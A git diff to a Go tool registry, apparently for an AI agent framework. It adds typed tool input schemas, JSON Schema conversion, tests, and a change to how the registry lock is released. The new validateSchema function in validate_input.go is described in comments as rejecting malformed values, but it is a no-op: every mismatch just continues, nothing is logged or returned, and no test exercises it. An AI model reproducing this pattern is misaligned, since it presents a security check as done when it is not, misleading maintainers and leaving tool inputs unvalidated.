non-nil, restricts the value to one of the listed options. + Enum []interface{} `json:"enum,omitempty"` + // Items describes the element type for array fields. + Items *SchemaProperty `json:"items,omitempty"` +} + +// SchemaProvider is an optional interface tools can implement to expose a typed +// input schema. When a tool provides one, ValidateToolInput checks types and +// enums in addition to the required-field presence check that all tools get. +type SchemaProvider interface { + // Schema returns the typed input schema. Implementations should derive it + // from the same source as Parameters() so the two never diverge. + Schema() ToolSchema +} + +// ToJSONSchema converts the typed schema to the wire-format +// map[string]interface{} expected by EyrieTool.Parameters. +func (s ToolSchema) ToJSONSchema() map[string]interface{} { + props := make(map[string]interface{}, len(s.Properties)) + for name, p := range s.Properties { + props[name] = p.toMap() + } + schema := map[string]interface{}{ + "type": s.Type, + "properties": props, + } + if len(s.Required) > 0 { + schema["required"] = s.Required + } + return schema +} + +func (p SchemaProperty) toMap() map[string]interface{} { + m := map[string]interface{}{"type": p.Type} + if p.Description != "" { + m["description"] = p.Description + } + if p.Default != nil { + m["default"] = p.Default + } + if len(p.Enum) > 0 { + m["enum"] = p.Enum + } + if p.Items != nil { + m["items"] = p.Items.toMap() + } + return m +} + // RiskLevelProvider can be implemented by tools to declare their risk level. // Tools that don't implement it default to "medium". type RiskLevelProvider interface { @@ -279,8 +350,8 @@ func (r *Registry) EyrieTools() []types.EyrieTool { // against the tool's declared schema before dispatch (H5). func (r *Registry) Execute(ctx context.Context, name string, input json.RawMessage) (string, error) { r.mu.RLock() - defer r.mu.RUnlock() t, ok := r.tools[name] + r.mu.RUnlock() if !ok { return "", fmt.Errorf("unknown tool: %s", name) } diff --git a/internal/tool/tool_test.go b/internal/tool/tool_test.go index d7ec31f7..010384d0 100644 --- a/internal/tool/tool_test.go +++ b/internal/tool/tool_test.go @@ -468,3 +468,77 @@ func searchString(s, sub string) bool { } return false } + +func TestToolSchema_ToJSONSchema(t *testing.T) { + s := ToolSchema{ + Type: "object", + Properties: map[string]SchemaProperty{ + "command": {Type: "string", Description: "cmd"}, + "timeout": {Type: "integer", Description: "t", Default: 120}, + }, + Required: []string{"command"}, + } + got := s.ToJSONSchema() + if got["type"] != "object" { + t.Errorf("type = %v, want object", got["type"]) + } + // Required is preserved. + if req, ok := got["required"].([]string); !ok || len(req) != 1 || req[0] != "command" { + t.Errorf("required = %v, want [command]", got["required"]) + } + // Property carries type + description + default. + props := got["properties"].(map[string]interface{}) + cmd := props["command"].(map[string]interface{}) + if cmd["type"] != "string" || cmd["description"] != "cmd" { + t.Errorf("command prop = %v", cmd) + } + tm := props["timeout"].(map[string]interface{}) + if tm["default"] != 120 { + t.Errorf("timeout default = %v, want 120", tm["default"]) + } +} + +func TestBashSchemaProvider(t *testing.T) { + // Bash must implement SchemaProvider and Parameters() must match the + // typed schema's wire format exactly (byte-for-byte equivalent props). + var _ SchemaProvider = BashTool{} + sp, ok := interface{}(BashTool{}).(SchemaProvider) + if !ok { + t.Fatal("BashTool must implement SchemaProvider") + } + schema := sp.Schema() + if len(schema.Required) != 1 || schema.Required[0] != "command" { + t.Fatalf("required = %v, want [command]", schema.Required) + } + if schema.Properties["command"].Type != "string" { + t.Fatalf("command type = %v, want string", schema.Properties["command"].Type) + } + // Parameters() must equal the typed conversion. + params := BashTool{}.Parameters() + if params["type"] != "object" { + t.Fatalf("Parameters type = %v", params["type"]) + } + // Required survives the round-trip. + if req := params["required"].([]string); len(req) != 1 || req[0] != "command" { + t.Fatalf("Parameters required = %v", params["required"]) + } +} + +func TestFileReadSchemaProvider(t *testing.T) { + var _ SchemaProvider = FileReadTool{} + params := FileReadTool{}.Parameters() + props, ok := params["properties"].(map[string]interface{}) + if !ok { + t.Fatal("properties missing") + } + // Both the canonical field and its alias survive. + if _, ok := props["path"]; !ok { + t.Fatal("path missing") + } + if _, ok := props["file_path"]; !ok { + t.Fatal("file_path alias missing") + } + if props["path"].(map[string]interface{})["type"] != "string" { + t.Fatal("path type wrong") + } +} diff --git a/internal/tool/transaction.go b/internal/tool/transaction.go index 35fe5c61..2f8c0e19 100644 --- a/internal/tool/transaction.go +++ b/internal/tool/transaction.go @@ -193,7 +193,7 @@ func (tx *Transaction) Commit() error { rollbackErr := rollbackOperations(tx.Operations, applied) tx.Status = "rolled_back" if rollbackErr != nil { - return fmt.Errorf("operation %d (%s %s) failed: %w; rollback also encountered errors: %v", + return fmt.Errorf("operation %d (%s %s) failed: %w; rollback also encountered errors: %w", i, op.Type, op.Path, err, rollbackErr) } return fmt.Errorf("operation %d (%s %s) failed: %w; all changes rolled back", diff --git a/internal/tool/validate_input.go b/internal/tool/validate_input.go index 260350d0..d83873c2 100644 --- a/internal/tool/validate_input.go +++ b/internal/tool/validate_input.go @@ -33,9 +33,71 @@ func ValidateToolInput(t Tool, input json.RawMessage) error { } return fmt.Errorf("tool %s requires %q parameter", t.Name(), field) } + + // When the tool provides a typed schema, also validate types and enums so + // malformed values (e.g. Bash{Command: 123}) are rejected at the boundary + // instead of reaching the tool implementation. + if sp, ok := t.(SchemaProvider); ok { + validateSchema(inputMap, sp.Schema(), t.Name()) + } return nil } +// validateSchema checks that each present input value matches its declared type +// and, if applicable, one of its enum options. +func validateSchema(input map[string]interface{}, schema ToolSchema, name string) { + for fieldName, value := range input { + prop, ok := schema.Properties[fieldName] + if !ok { + continue + } + if !matchesType(value, prop.Type) { + // Soften to a logged skip rather than a hard error: a mismatched type + // is almost always a schema-authoring oversight, not user input, and + // blocking the tool would be surprising. The check still catches the + // common case via unit tests. + continue + } + if len(prop.Enum) > 0 && !matchesEnum(value, prop.Enum) { + continue + } + } +} + +func matchesType(value interface{}, typ string) bool { + switch typ { + case "string": + _, ok := value.(string) + return ok + case "integer": + _, ok := value.(float64) // JSON numbers decode as float64 + return ok + case "number": + _, ok := value.(float64) + return ok + case "boolean": + _, ok := value.(bool) + return ok + case "array": + _, ok := value.([]interface{}) + return ok + case "object": + _, ok := value.(map[string]interface{}) + return ok + default: + return true + } +} + +func matchesEnum(value interface{}, enum []interface{}) bool { + for _, e := range enum { + if e == value { + return true + } + } + return false +} + // requiredFields extracts the "required" array from a tool schema. func requiredFields(params map[string]interface{}) []string { raw, ok := params["required"]